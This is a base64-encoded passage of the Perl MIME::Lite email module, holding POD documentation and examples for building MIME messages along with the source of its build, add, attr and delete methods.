biBiZSBhbnkgb3BlbigpYWJsZQpleHByZXNzaW9uLiAgSWYgaXQgbG9va3MgbGlrZSBhIHBhdGgs IHRoZSBsYXN0IGVsZW1lbnQgd2lsbCBhdXRvbWF0aWNhbGx5IApiZSB0cmVhdGVkIGFzIHRoZSBm aWxlbmFtZS4gClNlZSAiUmVhZE5vdyIgYWxzby4KCj1pdGVtIFJlYWROb3cKCkk8T3B0aW9uYWws IGZvciB1c2Ugd2l0aCAiUGF0aCIuPgpJZiB0cnVlLCB3aWxsIG9wZW4gdGhlIHBhdGggYW5kIHNs dXJwIHRoZSBjb250ZW50cyBpbnRvIGNvcmUgbm93LgpUaGlzIGlzIHVzZWZ1bCBpZiB0aGUgUGF0 aCBwb2ludHMgdG8gYSBjb21tYW5kIGFuZCB5b3UgZG9uJ3Qgd2FudCAKdG8gcnVuIHRoZSBjb21t YW5kIG92ZXIgYW5kIG92ZXIgaWYgb3V0cHV0dGluZyB0aGUgbWVzc2FnZSBzZXZlcmFsCnRpbWVz LiAgQjxGYXRhbCBleGNlcHRpb24+IHJhaXNlZCBpZiB0aGUgb3BlbiBmYWlscy4KCj1pdGVtIFRv cAoKSTxPcHRpb25hbC4+CklmIGRlZmluZWQsIGluZGljYXRlcyB3aGV0aGVyIG9yIG5vdCB0aGlz IGlzIGEgInRvcC1sZXZlbCIgTUlNRSBtZXNzYWdlLgpUaGUgcGFydHMgb2YgYSBtdWx0aXBhcnQg bWVzc2FnZSBhcmUgSTxub3Q+IHRvcC1sZXZlbC4KRGVmYXVsdCBpcyB0cnVlLgoKPWl0ZW0gVHlw ZQoKSTxPcHRpb25hbC4+ClRoZSBNSU1FIGNvbnRlbnQgdHlwZSwgb3Igb25lIG9mIHRoZXNlIHNw ZWNpYWwgdmFsdWVzIChjYXNlLXNlbnNpdGl2ZSk6CgogICAgICJURVhUIiAgIG1lYW5zICJ0ZXh0 L3BsYWluIgogICAgICJCSU5BUlkiIG1lYW5zICJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iCiAg ICAgIkFVVE8iICAgbWVhbnMgYXR0ZW1wdCB0byBndWVzcyBmcm9tIHRoZSBmaWxlbmFtZSwgZmFs bGluZyBiYWNrCiAgICAgICAgICAgICAgdG8gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScuICBU aGlzIGlzIGdvb2QgaWYgeW91IGhhdmUKICAgICAgICAgICAgICBNSU1FOjpUeXBlcyBvbiB5b3Vy IHN5c3RlbSBhbmQgeW91IGhhdmUgbm8gaWRlYSB3aGF0CiAgICAgICAgICAgICAgZmlsZSBtaWdo dCBiZSB1c2VkIGZvciB0aGUgYXR0YWNobWVudC4KClRoZSBkZWZhdWx0IGlzIEM8IlRFWFQiPiwg YnV0IGl0IHdpbGwgYmUgQzwiQVVUTyI+IGlmIHlvdSBzZXQKJEFVVE9fQ09OVEVOVF9UWVBFIHRv IHRydWUgKHNvcnJ5LCBidXQgeW91IGhhdmUgdG8gZW5hYmxlIAppdCBleHBsaWNpdGx5LCBzaW5j ZSB3ZSBkb24ndCB3YW50IHRvIGJyZWFrIGNvZGUgd2hpY2ggZGVwZW5kcyAKb24gdGhlIG9sZCBi ZWhhdmlvcikuCgo9YmFjawoKQSBwaWN0dXJlIGJlaW5nIHdvcnRoIDEwMDAgd29yZHMgKHdoaWNo CmlzIG9mIGNvdXJzZSAyMDAwIGJ5dGVzLCBzbyBpdCdzIHByb2JhYmx5IG1vcmUgb2YgYW4gImlj b24iIHRoYW4gYSAicGljdHVyZSIsCmJ1dCBJIGRpZ3Jlc3MuLi4pLCBoZXJlIGFyZSBzb21lIGV4 YW1wbGVzOgoKICAgICRtc2cgPSBNSU1FOjpMaXRlLT5idWlsZCggCiAgICAgICAgICAgICAgIEZy b20gICAgID0+ICd5ZWxsaW5nQGludGVyLmNvbScsCiAgICAgICAgICAgICAgIFRvICAgICAgID0+ ICdzdG9ja2luZ0BmaXNoLm5ldCcsCiAgICAgICAgICAgICAgIFN1YmplY3QgID0+ICJIaSB0aGVy ZSEiLAogICAgICAgICAgICAgICBUeXBlICAgICA9PiAnVEVYVCcsCiAgICAgICAgICAgICAgIEVu Y29kaW5nID0+ICc3Yml0JywKICAgICAgICAgICAgICAgRGF0YSAgICAgPT4gIkp1c3QgYSBxdWlj ayBub3RlIHRvIHNheSBoaSEiKTsKIAogICAgJG1zZyA9IE1JTUU6OkxpdGUtPmJ1aWxkKAogICAg ICAgICAgICAgICBGcm9tICAgICA9PiAnZG9yb3RoeUBlbWVyYWxkLWNpdHkub3onLAogICAgICAg ICAgICAgICBUbyAgICAgICA9PiAnZ2VzdW5kaGVpdEBlZHUuZWR1LmVkdScsCiAgICAgICAgICAg ICAgIFN1YmplY3QgID0+ICJBIGdpZiBmb3IgVSIKICAgICAgICAgICAgICAgVHlwZSAgICAgPT4g J2ltYWdlL2dpZicsCiAgICAgICAgICAgICAgIFBhdGggICAgID0+ICIvaG9tZS9odHRwZC9sb2dv LmdpZiIpOwogCiAgICAkbXNnID0gTUlNRTo6TGl0ZS0+YnVpbGQoIAogICAgICAgICAgICAgICBG cm9tICAgICA9PiAnbGF1Z2hpbmdAYWxsLm9mLnVzJywKICAgICAgICAgICAgICAgVG8gICAgICAg PT4gJ3NjYXJsZXR0QGZpZGRsZS5kZWUuZGUnLAogICAgICAgICAgICAgICBTdWJqZWN0ICA9PiAi QSBnemlwcCdlZCB0YXIgZmlsZSIsCiAgICAgICAgICAgICAgIFR5cGUgICAgID0+ICd4LWd6aXAn LAogICAgICAgICAgICAgICBQYXRoICAgICA9PiAiZ3ppcCA8IC91c3IvaW5jL3NvbWVmaWxlLnRh ciB8IiwKICAgICAgICAgICAgICAgUmVhZE5vdyAgPT4gMSwKICAgICAgICAgICAgICAgRmlsZW5h bWUgPT4gInNvbWVmaWxlLnRneiIpOwoKVG8gc2hvdyB5b3Ugd2hhdCdzIHJlYWxseSBnb2luZyBv biwgdGhhdCBsYXN0IGV4YW1wbGUgY291bGQgYWxzbyAKaGF2ZSBiZWVuIHdyaXR0ZW46CgogICAg JG1zZyA9IG5ldyBNSU1FOjpMaXRlOwogICAgJG1zZy0+YnVpbGQoVHlwZSAgICAgPT4gJ3gtZ3pp cCcsCiAgICAgICAgICAgICAgICBQYXRoICAgICA9PiAiZ3ppcCA8IC91c3IvaW5jL3NvbWVmaWxl LnRhciB8IiwKICAgICAgICAgICAgICAgIFJlYWROb3cgID0+IDEsCiAgICAgICAgICAgICAgICBG aWxlbmFtZSA9PiAic29tZWZpbGUudGd6Iik7ICAgIAogICAgJG1zZy0+YWRkKEZyb20gICAgPT4g ImxhdWdoaW5nQGFsbC5vZi51cyIpOwogICAgJG1zZy0+YWRkKFRvICAgICAgPT4gInNjYXJsZXR0 QGZpZGRsZS5kZWUuZGUiKTsKICAgICRtc2ctPmFkZChTdWJqZWN0ID0+ICJBIGd6aXBwJ2VkIHRh ciBmaWxlIik7ICAKCj1jdXQKCnN1YiBidWlsZCB7CiAgICBteSAkc2VsZiA9IHNoaWZ0OwogICAg bXkgJXBhcmFtcyA9IEBfOwogICAgbXkgQHBhcmFtcyA9IEBfOwogICAgbXkgJGtleTsKCiAgICAj IyMgTWlrbydzIG5vdGU6IHJlb3JnYW5pemVkIHRvIGNoZWNrIGZvciBleGFjdGx5IG9uZSBvZiBE YXRhLCBQYXRoLCBvciBGSAogICAgKGRlZmluZWQoJHBhcmFtc3tEYXRhfSkrZGVmaW5lZCgkcGFy YW1ze1BhdGh9KStkZWZpbmVkKCRwYXJhbXN7Rkh9KSA8PSAxKQoJb3IgQ2FycDo6Y3JvYWsgInN1 cHBseSBleGFjdGx5IHplcm8gb3Igb25lIG9mIChEYXRhfFBhdGh8RkgpLlxuIjsKCiAgICAjIyMg Q3JlYXRlIG5ldyBpbnN0YW5jZSwgaWYgbmVjZXNzYXJ5OgogICAgcmVmKCRzZWxmKSBvciAkc2Vs ZiA9ICRzZWxmLT5uZXc7CgoKICAgICMjIyBDT05URU5ULVRZUEUuLi4uCiAgICAjIyMKCiAgICAj IyMgR2V0IGNvbnRlbnQtdHlwZSBvciBjb250ZW50LXR5cGUtbWFjcm86CiAgICBteSAkdHlwZSA9 ICgkcGFyYW1ze1R5cGV9IHx8ICgkQVVUT19DT05URU5UX1RZUEUgPyAnQVVUTycgOiAnVEVYVCcp KTsKCiAgICAjIyMgSW50ZXJwcmV0IGNvbnRlbnQtdHlwZS1tYWNyb3M6CiAgICBpZiAgICAoJHR5 cGUgZXEgJ1RFWFQnKSAgIHsgJHR5cGUgPSAndGV4dC9wbGFpbic7IH0KICAgIGVsc2lmICgkdHlw ZSBlcSAnQklOQVJZJykgeyAkdHlwZSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nIH0KICAg IGVsc2lmICgkdHlwZSBlcSAnQVVUTycpICAgeyAkdHlwZSA9ICRzZWxmLT5zdWdnZXN0X3R5cGUo JHBhcmFtc3tQYXRofSk7IH0KCiAgICAjIyMgV2Ugbm93IGhhdmUgYSBjb250ZW50LXR5cGU7IHNl dCBpdDoKICAgICR0eXBlID0gbGMoJHR5cGUpOwogICAgJHNlbGYtPmF0dHIoJ2NvbnRlbnQtdHlw ZScgPT4gJHR5cGUpOwogICAKICAgICMjIyBHZXQgc29tZSBiYXNpYyBhdHRyaWJ1dGVzIGZyb20g dGhlIGNvbnRlbnQgdHlwZToKICAgIG15ICRpc19tdWx0aXBhcnQgPSAoJHR5cGUgPX4gbXteKG11 bHRpcGFydCkvfWkpOwoKICAgICMjIyBBZGQgaW4gdGhlIG11bHRpcGFydCBib3VuZGFyeToKICAg IGlmICgkaXNfbXVsdGlwYXJ0KSB7CglteSAkYm91bmRhcnkgPSBnZW5fYm91bmRhcnkoKTsKCSRz ZWxmLT5hdHRyKCdjb250ZW50LXR5cGUuYm91bmRhcnknID0+ICRib3VuZGFyeSk7CiAgICB9CgoK ICAgICMjIyBDT05URU5ULUlELi4uCiAgICAjIyMKICAgICRzZWxmLT5hdHRyKCdjb250ZW50LWlk JyA9PiAkcGFyYW1ze0lkfSkgaWYgZGVmaW5lZCgkcGFyYW1ze0lkfSk7CgoKICAgICMjIyBEQVRB IE9SIFBBVEguLi4KICAgICMjIyAgICBOb3RlIHRoYXQgd2UgbXVzdCBkbyB0aGlzICphZnRlciog d2UgZ2V0IHRoZSBjb250ZW50IHR5cGUsIAogICAgIyMjICAgIGluIGNhc2UgcmVhZF9ub3coKSBp cyBpbnZva2VkLCBzaW5jZSBpdCBuZWVkcyB0aGUgYmlubW9kZSgpLgoKICAgICMjIyBHZXQgZGF0 YSwgYXMuLi4KICAgICMjIyAuLi5laXRoZXIgbGl0ZXJhbCBkYXRhOgogICAgaWYgKGRlZmluZWQo JHBhcmFtc3tEYXRhfSkpIHsKCSRzZWxmLT5kYXRhKCRwYXJhbXN7RGF0YX0pOwogICAgfQogICAg IyMjIC4uLm9yIGEgcGF0aCB0byBkYXRhOgogICAgZWxzaWYgKGRlZmluZWQoJHBhcmFtc3tQYXRo fSkpIHsKCSRzZWxmLT5wYXRoKCRwYXJhbXN7UGF0aH0pOyAgICAgICAjIyMgYWxzbyBzZXRzIGZp bGVuYW1lCgkkc2VsZi0+cmVhZF9ub3cgaWYgJHBhcmFtc3tSZWFkTm93fTsKICAgIH0KICAgICMj IyAuLi5vciBhIGZpbGVoYW5kbGUgdG8gZGF0YToKICAgICMjIyBNaWtvJ3Mgbm90ZTogdGhpcyBw YXJ0IHdvcmtzIG11Y2ggbGlrZSB0aGUgcGF0aCByb3V0aW5lIGp1c3QgYWJvdmUsCiAgICBlbHNp ZiAoZGVmaW5lZCgkcGFyYW1ze0ZIfSkpIHsKCSRzZWxmLT5maCgkcGFyYW1ze0ZIfSk7Cgkkc2Vs Zi0+cmVhZF9ub3cgaWYgJHBhcmFtc3tSZWFkTm93fTsgICMjIyBpbXBsZW1lbnQgbGF0ZXIKICAg IH0KICAgIAoKICAgICMjIyBGSUxFTkFNRS4uLiAoYWRkZWQgYnkgSWFuIFNtaXRoIDxpYW5Ac2Fm ZXdheS5kaXJjb24uY28udWs+IG9uIDgvNC85NykKICAgICMjIyAgICBOZWVkIHRoaXMgdG8gbWFr ZSBzdXJlIHRoZSBmaWxlbmFtZSBpcyBhZGRlZC4gIFRoZSBGaWxlbmFtZQogICAgIyMjICAgIGF0 dHJpYnV0ZSBpcyBpZ25vcmVkLCBvdGhlcndpc2UuCiAgICBpZiAoZGVmaW5lZCgkcGFyYW1ze0Zp bGVuYW1lfSkpIHsKCSRzZWxmLT5maWxlbmFtZSgkcGFyYW1ze0ZpbGVuYW1lfSk7CiAgICB9CiAg CgogICAgIyMjIENPTlRFTlQtVFJBTlNGRVItRU5DT0RJTkcuLi4KICAgICMjIwoKICAgICMjIyBH ZXQgaXQ6CiAgICBteSAkZW5jID0gKCRwYXJhbXN7RW5jb2Rpbmd9IHx8ICAKCSAgICAgICAoJEFV VE9fRU5DT0RFIGFuZCAkc2VsZi0+c3VnZ2VzdF9lbmNvZGluZygkdHlwZSkpIHx8CgkgICAgICAg J2JpbmFyeScpOyAgICAgIAogICAgJHNlbGYtPmF0dHIoJ2NvbnRlbnQtdHJhbnNmZXItZW5jb2Rp bmcnID0+IGxjKCRlbmMpKTsKCQogICAgIyMjIFNhbml0eSBjaGVjazoKICAgIGlmICgkdHlwZSA9 fiBte14obXVsdGlwYXJ0fG1lc3NhZ2UpL30pIHsKCSgkZW5jID1+IG17Xig3Yml0fDhiaXR8Ymlu YXJ5KVxafSkgb3IgCgkgIENhcnA6OmNyb2FrKCJpbGxlZ2FsIE1JTUU6ICIuCgkJICAgICAgImNh bid0IGhhdmUgZW5jb2RpbmcgJGVuYyB3aXRoIHR5cGUgJHR5cGVcbiIpOwogICAgfQoKICAgICMj IyBDT05URU5ULURJU1BPU0lUSU9OLi4uCiAgICAjIyMgICAgRGVmYXVsdCBpcyBpbmxpbmUgZm9y IHNpbmdsZSwgbm9uZSBmb3IgbXVsdGlzOgogICAgIyMjCiAgICBteSAkZGlzcCA9ICgkcGFyYW1z e0Rpc3Bvc2l0aW9ufSBvciAoJGlzX211bHRpcGFydCA/IHVuZGVmIDogJ2lubGluZScpKTsKICAg ICRzZWxmLT5hdHRyKCdjb250ZW50LWRpc3Bvc2l0aW9uJyA9PiAkZGlzcCk7CgogICAgIyMjIENP TlRFTlQtTEVOR1RILi4uCiAgICAjIyMKICAgIG15ICRsZW5ndGg7CiAgICBpZiAoZXhpc3RzKCRw YXJhbXN7TGVuZ3RofSkpIHsgICAjIyMgZ2l2ZW4gYnkgY2FsbGVyOgoJJHNlbGYtPmF0dHIoJ2Nv bnRlbnQtbGVuZ3RoJyA9PiAkcGFyYW1ze0xlbmd0aH0pOwogICAgfQogICAgZWxzZSB7ICAgICAg ICAgICAgICAgICAgICAgICAgICAgIyMjIGNvbXB1dGUgaXQgb3Vyc2VsdmVzCgkkc2VsZi0+Z2V0 X2xlbmd0aDsKICAgIH0KCiAgICAjIyMgSW5pdCB0aGUgdG9wLWxldmVsIGZpZWxkczoKICAgIG15 ICRpc190b3AgPSBkZWZpbmVkKCRwYXJhbXN7VG9wfSkgPyAkcGFyYW1ze1RvcH0gOiAxOwogICAg JHNlbGYtPnRvcF9sZXZlbCgkaXNfdG9wKTsKCiAgICAjIyMgRGF0ZXN0YW1wIGlmIGRlc2lyZWQ6 CiAgICBteSAkZHNfd2FudGVkICAgID0gJHBhcmFtc3tEYXRlc3RhbXB9OwogICAgbXkgJGRzX2Rl ZmF1bHRlZCA9ICgkaXNfdG9wIGFuZCAhZXhpc3RzKCRwYXJhbXN7RGF0ZXN0YW1wfSkpOwogICAg aWYgKCgkZHNfd2FudGVkIG9yICRkc19kZWZhdWx0ZWQpIGFuZCAhZXhpc3RzKCRwYXJhbXN7RGF0 ZX0pKSB7CglteSAoJHVfd2R5LCAkdV9tb24sICR1X21keSwgJHVfdGltZSwgJHVfeTQpID0gCgkg ICAgc3BsaXQgL1xzKy8sIGdtdGltZSgpLiIiOyAgICMjIyBzaG91bGQgYmUgbm9uLWxvY2FsZS1k ZXBlbmRlbnQKCW15ICRkYXRlID0gIiR1X3dkeSwgJHVfbWR5ICR1X21vbiAkdV95NCAkdV90aW1l IFVUIjsKCSRzZWxmLT5hZGQoImRhdGUiLCAkZGF0ZSk7CiAgICB9CiAgICAKICAgICMjIyBTZXQg bWVzc2FnZSBoZWFkZXJzOgogICAgbXkgQHBhcmFteiA9IEBwYXJhbXM7CiAgICBteSAkZmllbGQ7 CiAgICB3aGlsZSAoQHBhcmFteikgewoJbXkgKCR0YWcsICR2YWx1ZSkgPSAoc2hpZnQoQHBhcmFt eiksIHNoaWZ0KEBwYXJhbXopKTsKCgkjIyMgR2V0IHRhZywgaWYgYSB0YWc6CglpZiAoJHRhZyA9 fiAvXi0oLiopLykgeyAgICAgICMjIyBvbGQgc3R5bGUsIGJhY2t3YXJkcy1jb21wYXRpYmlsaXR5 CgkgICAgJGZpZWxkID0gbGMoJDEpOwoJfQoJZWxzaWYgKCR0YWcgPX4gL14oLiopOiQvKSB7ICAj IyMgbmV3IHN0eWxlCgkgICAgJGZpZWxkID0gbGMoJDEpOwoJfQoJZWxzaWYgKGtub3duX2ZpZWxk KCRmaWVsZCA9IGxjKCR0YWcpKSkgeyAgICMjIyBrbm93biBmaWVsZAoJICAgICMjIyBuby1vcAoJ fQoJZWxzZSB7ICAgICAgICAgICAgICAgICAgICAgICAjIyMgbm90IGEgZmllbGQ6CgkgICAgbmV4 dDsKCX0KCQoJIyMjIEFkZCBpdDoKCSRzZWxmLT5hZGQoJGZpZWxkLCAkdmFsdWUpOwogICAgfQoK ICAgICMjIyBEb25lIQogICAgJHNlbGY7Cn0KCj1iYWNrCgo9Y3V0CgoKIz09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Cgo9aGVhZDIg U2V0dGluZy9nZXR0aW5nIGhlYWRlcnMgYW5kIGF0dHJpYnV0ZXMKCj1vdmVyIDQKCj1jdXQKCiMt LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIwojIHRvcF9sZXZlbCBPTk9GRgojCiMgU2V0 L3Vuc2V0IHRoZSB0b3AtbGV2ZWwgYXR0cmlidXRlcyBhbmQgaGVhZGVycy4KIyBUaGlzIGFmZmVj dHMgIk1JTUUtVmVyc2lvbiIgYW5kICJYLU1haWxlciIuCgpzdWIgdG9wX2xldmVsIHsKICAgIG15 ICgkc2VsZiwgJG9ub2ZmKSA9IEBfOwkKICAgIGlmICgkb25vZmYpIHsKCSRzZWxmLT5hdHRyKCdN SU1FLVZlcnNpb24nID0+ICcxLjAnKTsKCW15ICR1c2VzID0gKEBVc2VzID8gKCIoIiAuIGpvaW4o IjsgIiwgQFVzZXMpIC4gIikiKSA6ICcnKTsKCSRzZWxmLT5yZXBsYWNlKCdYLU1haWxlcicgPT4g Ik1JTUU6OkxpdGUgJFZFUlNJT04gJHVzZXMiKQoJICAgIHVubGVzcyAkVkFOSUxMQTsKICAgIH0K ICAgIGVsc2UgewoJJHNlbGYtPmF0dHIoJ01JTUUtVmVyc2lvbicgPT4gdW5kZWYpOwoJJHNlbGYt PmRlbGV0ZSgnWC1NYWlsZXInKTsKICAgIH0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLQoKPWl0ZW0gYWRkIFRBRyxWQUxVRQoKSTxJbnN0YW5jZSBtZXRob2QuPgpBZGQgZmllbGQg VEFHIHdpdGggdGhlIGdpdmVuIFZBTFVFIHRvIHRoZSBlbmQgb2YgdGhlIGhlYWRlci4gClRoZSBU QUcgd2lsbCBiZSBjb252ZXJ0ZWQgdG8gYWxsLWxvd2VyY2FzZSwgYW5kIHRoZSBWQUxVRSAKd2ls bCBiZSBtYWRlICJzYWZlIiAocmV0dXJucyB3aWxsIGJlIGdpdmVuIGEgdHJhaWxpbmcgc3BhY2Up LgoKQjxCZXdhcmU6PiBhbnkgTUlNRSBmaWVsZHMgeW91ICJhZGQiIHdpbGwgb3ZlcnJpZGUgYW55 IE1JTUUKYXR0cmlidXRlcyBJIGhhdmUgd2hlbiBpdCBjb21lcyB0aW1lIHRvIG91dHB1dCB0aG9z ZSBmaWVsZHMuCk5vcm1hbGx5LCB5b3Ugd2lsbCB1c2UgdGhpcyBtZXRob2QgdG8gYWRkIEk8bm9u LU1JTUU+IGZpZWxkczoKCiAgICAkbXNnLT5hZGQoIlN1YmplY3QiID0+ICJIaSB0aGVyZSEiKTsK CkdpdmluZyBWQUxVRSBhcyBhbiBhcnJheXJlZiB3aWxsIGNhdXNlIGFsbCB0aG9zZSB2YWx1ZXMg dG8gYmUgYWRkZWQuClRoaXMgaXMgb25seSB1c2VmdWwgZm9yIHNwZWNpYWwgbXVsdGlwbGUtdmFs dWVkIGZpZWxkcyBsaWtlICJSZWNlaXZlZCI6CgogICAgJG1zZy0+YWRkKCJSZWNlaXZlZCIgPT4g WyJoZXJlIiwgInRoZXJlIiwgImV2ZXJ5d2hlcmUiXQoKR2l2aW5nIFZBTFVFIGFzIHRoZSBlbXB0 eSBzdHJpbmcgYWRkcyBhbiBpbnZpc2libGUgcGxhY2Vob2xkZXIKdG8gdGhlIGhlYWRlciwgd2hp Y2ggY2FuIGJlIHVzZWQgdG8gc3VwcHJlc3MgdGhlIG91dHB1dCBvZiAKdGhlICJDb250ZW50LSoi IGZpZWxkcyBvciB0aGUgc3BlY2lhbCAgIk1JTUUtVmVyc2lvbiIgZmllbGQuCldoZW4gc3VwcHJl c3NpbmcgZmllbGRzLCB5b3Ugc2hvdWxkIHVzZSByZXBsYWNlKCkgaW5zdGVhZCBvZiBhZGQoKToK CiAgICAkbXNnLT5yZXBsYWNlKCJDb250ZW50LWRpc3Bvc2l0aW9uIiA9PiAiIik7CgpJPE5vdGU6 PiBhZGQoKSBpcyBwcm9iYWJseSBnb2luZyB0byBiZSBtb3JlIGVmZmljaWVudCB0aGFuIEM8cmVw bGFjZSgpPiwKc28geW91J3JlIGJldHRlciBvZmYgdXNpbmcgaXQgZm9yIG1vc3QgYXBwbGljYXRp b25zIGlmIHlvdSBhcmUgCmNlcnRhaW4gdGhhdCB5b3UgZG9uJ3QgbmVlZCB0byBkZWxldGUoKSB0 aGUgZmllbGQgZmlyc3QuCgpJPE5vdGU6PiB0aGUgbmFtZSBjb21lcyBmcm9tIE1haWw6OkhlYWRl ci4KCj1jdXQKCnN1YiBhZGQgewogICAgbXkgJHNlbGYgPSBzaGlmdDsKICAgIG15ICR0YWcgPSBs YyhzaGlmdCk7CiAgICBteSAkdmFsdWUgPSBzaGlmdDsKCiAgICAjIyMgSWYgYSBkYW5nZXJvdXMg b3B0aW9uLCB3YXJuIHRoZW06CiAgICBDYXJwOjpjYXJwICJFeHBsaWNpdGx5IHNldHRpbmcgYSBN SU1FIGhlYWRlciBmaWVsZCAoJHRhZykgaXMgZGFuZ2Vyb3VzOlxuIi4KCSAidXNlIHRoZSBhdHRy KCkgbWV0aG9kIGluc3RlYWQuXG4iCglpZiAoaXNfbWltZV9maWVsZCgkdGFnKSAmJiAhJFFVSUVU KTsKCiAgICAjIyMgR2V0IGFycmF5IG9mIGNsZWFuIHZhbHVlczoKICAgIG15IEB2YWxzID0gKChy ZWYoJHZhbHVlKSBhbmQgKHJlZigkdmFsdWUpIGVxICdBUlJBWScpKQoJCT8gQHskdmFsdWV9IAoJ CTogKCR2YWx1ZS4nJykpOwogICAgbWFwIHsgcy9cbi9cbiAvZyB9IEB2YWxzOwoKICAgICMjIyBB ZGQgdGhlbToKICAgIGZvcmVhY2ggKEB2YWxzKSB7CglwdXNoIEB7JHNlbGYtPntIZWFkZXJ9fSwg WyR0YWcsICRfXTsKICAgIH0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKPWl0 ZW0gYXR0ciBBVFRSLFtWQUxVRV0KCkk8SW5zdGFuY2UgbWV0aG9kLj4KU2V0IE1JTUUgYXR0cmli dXRlIEFUVFIgdG8gdGhlIHN0cmluZyBWQUxVRS4gIApBVFRSIGlzIGNvbnZlcnRlZCB0byBhbGwt bG93ZXJjYXNlLgpUaGlzIG1ldGhvZCBpcyBub3JtYWxseSB1c2VkIHRvIHNldC9nZXQgTUlNRSBh dHRyaWJ1dGVzOgoKICAgICRtc2ctPmF0dHIoImNvbnRlbnQtdHlwZSIgICAgICAgICA9PiAidGV4 dC9odG1sIik7CiAgICAkbXNnLT5hdHRyKCJjb250ZW50LXR5cGUuY2hhcnNldCIgPT4gIlVTLUFT Q0lJIik7CiAgICAkbXNnLT5hdHRyKCJjb250ZW50LXR5cGUubmFtZSIgICAgPT4gImhvbWVwYWdl Lmh0bWwiKTsKClRoaXMgd291bGQgY2F1c2UgdGhlIGZpbmFsIG91dHB1dCB0byBsb29rIHNvbWV0 aGluZyBsaWtlIHRoaXM6CgogICAgQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVMt QVNDSUk7IG5hbWU9ImhvbWVwYWdlLmh0bWwiCgpOb3RlIHRoYXQgdGhlIHNwZWNpYWwgZW1wdHkg c3ViLWZpZWxkIHRhZyBpbmRpY2F0ZXMgdGhlIGFub255bW91cyAKZmlyc3Qgc3ViLWZpZWxkLgoK R2l2aW5nIFZBTFVFIGFzIHVuZGVmaW5lZCB3aWxsIGNhdXNlIHRoZSBjb250ZW50cyBvZiB0aGUg bmFtZWQKc3ViZmllbGQgdG8gYmUgZGVsZXRlZC4KClN1cHBseWluZyBubyBWQUxVRSBhcmd1bWVu dCBqdXN0IHJldHVybnMgdGhlIGF0dHJpYnV0ZSdzIHZhbHVlOgoKICAgICR0eXBlID0gJG1zZy0+ YXR0cigiY29udGVudC10eXBlIik7ICAgICAgICAjIyMgcmV0dXJucyAidGV4dC9odG1sIgogICAg JG5hbWUgPSAkbXNnLT5hdHRyKCJjb250ZW50LXR5cGUubmFtZSIpOyAgICMjIyByZXR1cm5zICJo b21lcGFnZS5odG1sIgoKPWN1dAoKc3ViIGF0dHIgewogICAgbXkgKCRzZWxmLCAkYXR0ciwgJHZh bHVlKSA9IEBfOwogICAgJGF0dHIgPSBsYygkYXR0cik7CgogICAgIyMjIEJyZWFrIGF0dHJpYnV0 ZSBuYW1lIHVwOgogICAgbXkgKCR0YWcsICRzdWJ0YWcpID0gc3BsaXQgL1wuLywgJGF0dHI7CiAg ICBkZWZpbmVkKCRzdWJ0YWcpIG9yICRzdWJ0YWcgPSAnJzsKCiAgICAjIyMgU2V0IG9yIGdldD8K ICAgIGlmIChAXyA+IDIpIHsgICAjIyMgc2V0OgoJJHNlbGYtPntBdHRyc317JHRhZ30gfHw9IHt9 OyAgICAgICAgICAgICMjIyBmb3JjZSBoYXNoCglkZWxldGUgJHNlbGYtPntBdHRyc317JHRhZ317 JHN1YnRhZ307ICAgIyMjIGRlbGV0ZSBmaXJzdAoJaWYgKGRlZmluZWQoJHZhbHVlKSkgeyAgICAg ICAgICAgICAgICAgICMjIyBzZXQuLi4KCSAgICAkdmFsdWUgPX4gcy9bXHJcbl0vL2c7ICAgICAg ICAgICAgICAgICAgICMjIyBtYWtlIGNsZWFuCgkgICAgJHNlbGYtPntBdHRyc317JHRhZ317JHN1 YnRhZ30gPSAkdmFsdWU7Cgl9CiAgICB9CgkKICAgICMjIyBSZXR1cm4gY3VycmVudCB2YWx1ZToK ICAgICRzZWxmLT57QXR0cnN9eyR0YWd9eyRzdWJ0YWd9Owp9CgpzdWIgX3NhZmVfYXR0ciB7CiAg ICBteSAoJHNlbGYsICRhdHRyKSA9IEBfOwogICAgbXkgJHYgPSAkc2VsZi0+YXR0cigkYXR0cik7 CiAgICBkZWZpbmVkKCR2KSA/ICR2IDogJyc7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0KCj1pdGVtIGRlbGV0ZSBUQUcKCkk8SW5zdGFuY2UgbWV0aG9kLj4KRGVsZXRlIGZpZWxk IFRBRyB3aXRoIHRoZSBnaXZlbiBWQUxVRSB0byB0aGUgZW5kIG9mIHRoZSBoZWFkZXIuICAKVGhl IFRBRyB3aWxsIGJlIGNvbnZlcnRlZCB0byBhbGwtbG93ZXJjYXNlLgoKICAgICRtc2ctPmRlbGV0 ZSgiU3ViamVjdCIpOwoKSTxOb3RlOj4gdGhlIG5hbWUgY29tZXMgZnJvbSBNYWlsOjpIZWFkZXIu Cgo9Y3V0CgpzdWIgZGVsZXRlIHsKICAgIG15ICRzZWxmID0gc2hpZnQ7CiAgICBteSAkdGFnID0g bGMoc2hpZnQpOwoKICAgICMjIyBEZWxldGUgZnJvbSB0aGUgaGVhZGVyOgogICAgbXkgJGhkciA9 IFtdOwogICAgbXkgJGZpZWxkOwogICAgZm9yZWFjaCAkZmllbGQgKEB7JHNlbGYtPntIZWFkZXJ9 fSkgewoJcHVzaCBAJGhkciwgJGZpZWxkIGlmICgkZmllbGQtPlswXSBuZSAkdGFnKTsKICAgIH0K ICAgICRzZWxmLT57SGVhZGVyfSA9ICRoZHI7CiAgICAkc2VsZjsKfQoKCiMtLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0KCj1pdGVtIGZpZWxkX29yZGVyIEZJRUxELC4uLkZJRUxECgpJPENs YXNzL2luc3RhbmNlIG1ldGhvZC4+ICAKQ2hhbmdlIHRoZSBvcmRlciBpbiB3aGljaCBoZWFkZXIg ZmllbGRzIGFyZSBvdXRwdXQgZm9yIHRoaXMgb2JqZWN0OgoKICAgICRtc2ctPmZpZWxkX29yZGVy 